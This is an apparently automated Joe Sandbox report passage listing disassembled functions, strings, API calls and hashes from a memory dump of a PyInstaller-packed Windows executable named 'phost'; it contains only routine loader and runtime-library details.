Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: f948e57ca8638abdaf421297596fcdd9006840ea5b7e6967280019a7dc4aee91
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 88F0493271864286FF708B64B8597766370EB88778F084235D96D45AD4DF3CD05DD601

Function 00007FF62CC71950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC77F80: _fread_nolock.LIBCMT ref: 00007FF62CC7802A

_fread_nolock.LIBCMT ref: 00007FF62CC71A1B

Part of subcall function 00007FF62CC72910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62CC71B6A), ref: 00007FF62CC7295E

Strings

Failed to seek to cookie position!, xrefs: 00007FF62CC719EE
Failed to read cookie!, xrefs: 00007FF62CC71A2B
malloc, xrefs: 00007FF62CC71B22
fread, xrefs: 00007FF62CC71A32, 00007FF62CC71B5C
Could not read full TOC!, xrefs: 00007FF62CC71B55
Could not allocate buffer for TOC!, xrefs: 00007FF62CC71B1B
calloc, xrefs: 00007FF62CC71A68
Error on file., xrefs: 00007FF62CC71B8D
MEI, xrefs: 00007FF62CC71991
fseek, xrefs: 00007FF62CC719F5
Could not allocate memory for archive structure!, xrefs: 00007FF62CC71A61

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
Instruction ID: c2a2261a0094ef8775b33c91a0820f30aa242f53cdaacb0095c9c6d03841031e
Opcode Fuzzy Hash: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
Instruction Fuzzy Hash: 3B81D071F0868295EF60CB28DC506BA63B4EF487A4F448135E98DCB789DE3CE1899742

Function 00007FF62CC71470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF62CC7151F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC715DF
fread, xrefs: 00007FF62CC715E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62CC71518
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC7149F
fseek, xrefs: 00007FF62CC714E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62CC714DE

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 9de0508d624f5450d0515946ea3b47b1e27dbb23ab3c408e47dc67f8f8a2cece
Instruction ID: d1bf3a5b8814cd65c2a3c458666f3e6fd8a579b5481355c22a6bd59ee45c8523
Opcode Fuzzy Hash: 9de0508d624f5450d0515946ea3b47b1e27dbb23ab3c408e47dc67f8f8a2cece
Instruction Fuzzy Hash: B141BD32B0868295EF11DB299C105BA63B4FF447E8F448532ED0D8BB99DE3CE50AD702

Function 00007FF62CC71210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF62CC712C1, 00007FF62CC712F6
1.3.1, xrefs: 00007FF62CC71249
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF62CC7141E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF62CC71276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF62CC712BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF62CC712EF

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: c071fae04400aaba9d8a24e5b62ce610f1ca997db65dc53a1f24edd26e5d05d7
Instruction ID: 6de156a15c2040317328a8afe42b7c9599c13c37742a4f841dc13d74ec64d578
Opcode Fuzzy Hash: c071fae04400aaba9d8a24e5b62ce610f1ca997db65dc53a1f24edd26e5d05d7
Instruction Fuzzy Hash: C851D832B0864285EE619B19AC503BA62B5FF85BB4F444235ED4DCBBC9DE3CE509D701

Function 00007FF62CC736B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF62CC73804), ref: 00007FF62CC736E1
GetLastError.KERNEL32(?,00007FF62CC73804), ref: 00007FF62CC736EB

Part of subcall function 00007FF62CC72C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72C9E
Part of subcall function 00007FF62CC72C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72D63
Part of subcall function 00007FF62CC72C50: MessageBoxW.USER32 ref: 00007FF62CC72D99

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF62CC73790
Failed to resolve full path to executable %ls., xrefs: 00007FF62CC73739
Failed to obtain executable path., xrefs: 00007FF62CC736F3
GetModuleFileNameW, xrefs: 00007FF62CC736FA
\\?\, xrefs: 00007FF62CC7375A

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: b956c5c0559a42c694c9bc162a435fcaa0ce6a7cf8795c578b551813880ac6c6
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 8821A7A1F1CA4291FE20972CEC553B62274FF883B8F844136E55DCA5D5EE2CE509D302

Function 00007FF62CC8BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BEF9

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction ID: 7c077e2aff5f63cf7d231dc390abb066b8caf8f986de67185a38806eb2660584
Opcode Fuzzy Hash: 2e9ec559793cd78946ccf1fde0a110b7883fce20fe8558fd890645317879f727
Instruction Fuzzy Hash: CAC1C432B0C68695EF628B199C60ABF6770EB81BE0F554235EA4D83795CF7CE8458312

Function 00007FF62CC76350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ucrtbase.dll, xrefs: 00007FF62CC763CD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF62CC763F7
Failed to load Python DLL '%ls'., xrefs: 00007FF62CC76497
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF62CC763B7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF62CC76446
LoadLibrary, xrefs: 00007FF62CC7649E

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction ID: f7066f966b33c59090be11c9848da9ef106e25ef8a964541b0c85e258afc640f
Opcode Fuzzy Hash: 113c6b1de756f4b5b5eb6aeb9c43a8ac160651dc44d73755d1f433b83002bd4c
Instruction Fuzzy Hash: 42419331B18A87D1EE11EB28EC141F96379FB443A4F804132EA5C8B695EF3CE519D742

Function 00007FF62CC85698 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC856C5
CreateFileW.KERNEL32 ref: 00007FF62CC85704
CloseHandle.KERNEL32 ref: 00007FF62CC85739

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: 271a94c00b644a4ab053a53586846c446c36e41e32e8fdcb754450a43629838b
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: B941A222F2878283FB11CB64995077A6271FB957B4F109335EA5C83AD6DFBCA5E08701

Function 00007FF62CC7CCAC Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC7CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF62CC7CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF62CC7CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF62CC7CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF62CC7CD91

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 8b79717dbfe36037813a08f35e9a0aef6439a820653bdf8024acb8f381f60797
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 95315920F08A5346FE24AB2CDD253B916B9EF517A4F444434E54ECF2D7DE2CA409E253

Function 00007FF62CC801AC Relevance: 3.2, APIs: 2, Instructions: 177
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC801F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC802E7

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: bea6f2979c97292ab5e279b5dbc5d2ad7b6025bd81adf42ae9bfc8ac724a672c
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 2B51B461B0964286FF6A9A6D9C00E7B62A1AF44BF4F148734DE6DC77C5CF3CE4018642

Function 00007FF62CC8C1A4 Relevance: 3.0, APIs: 2, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF62CC8C33D), ref: 00007FF62CC8C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF62CC8C33D), ref: 00007FF62CC8C1FA

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 9ee7cf53e83f83ff636c49a0e447475e1a33ff4bcac3591da54af4149936f7ac
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 0C119171718A8181DE618B29EC5416A6371BB85BF4F544331EE7D8B7E9CE7CD0518701

Function 00007FF62CC8A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 88a097576592780916cce2bdbbfb4a633a96d504a379eecfbb912931ba418a9a
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: F8E0CD60F0C60392FF16DBFA9C6553A11706FD8BB0F044234C81DC22A2EE3C6895C312

Function 00007FF62CC8ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF62CC8AA45,?,?,00000000,00007FF62CC8AAFA), ref: 00007FF62CC8AC36
GetLastError.KERNEL32(?,?,?,00007FF62CC8AA45,?,?,00000000,00007FF62CC8AAFA), ref: 00007FF62CC8AC40

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 71713c5413e71548ff9e783cc55ef8f4c1438063c4e8d6133f2a6256f75af0f7
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 8A219321F1C64242FEA657699C9067B12B29F84BF4F484339EA2EC77C5CE6CE4458302

Function 00007FF62CC8BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BF44

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: ef09d287a09e8cd73fc19644dbf20ae15d5b4352a4f4c756acca0183ea213856
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 0541B132B0960187EE359A1DED50A7B73B4EB55BE4F105231DA8EC7691CF2DE402CB52

Function 00007FF62CC77F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF62CC7802A

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 8b238289baf9dddcba6bfc48a855cad56bb9a0da69048aaa23f75c3b13f56717
Instruction ID: 0039720059a151118b1f507c689274f688197bc56855f4e79e3fe9b4d6c86197
Opcode Fuzzy Hash: 8b238289baf9dddcba6bfc48a855cad56bb9a0da69048aaa23f75c3b13f56717
Instruction Fuzzy Hash: 6C21D321B0C65285FE119B2A6D087BA9665FF45BE8F8C4430EF0D9B786DE3DE046D702

Function 00007FF62CC8B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BA32

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: 97f1d0c4fecc28903f4903597c344abfd029484504783e5bb07065959d23f5a6
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: 7F317E31B1864285EB539B598C61BBE2670AF40BF4F420339E96D933D2DF7CA4818722

Function 00007FF62CC86004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC85F69

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
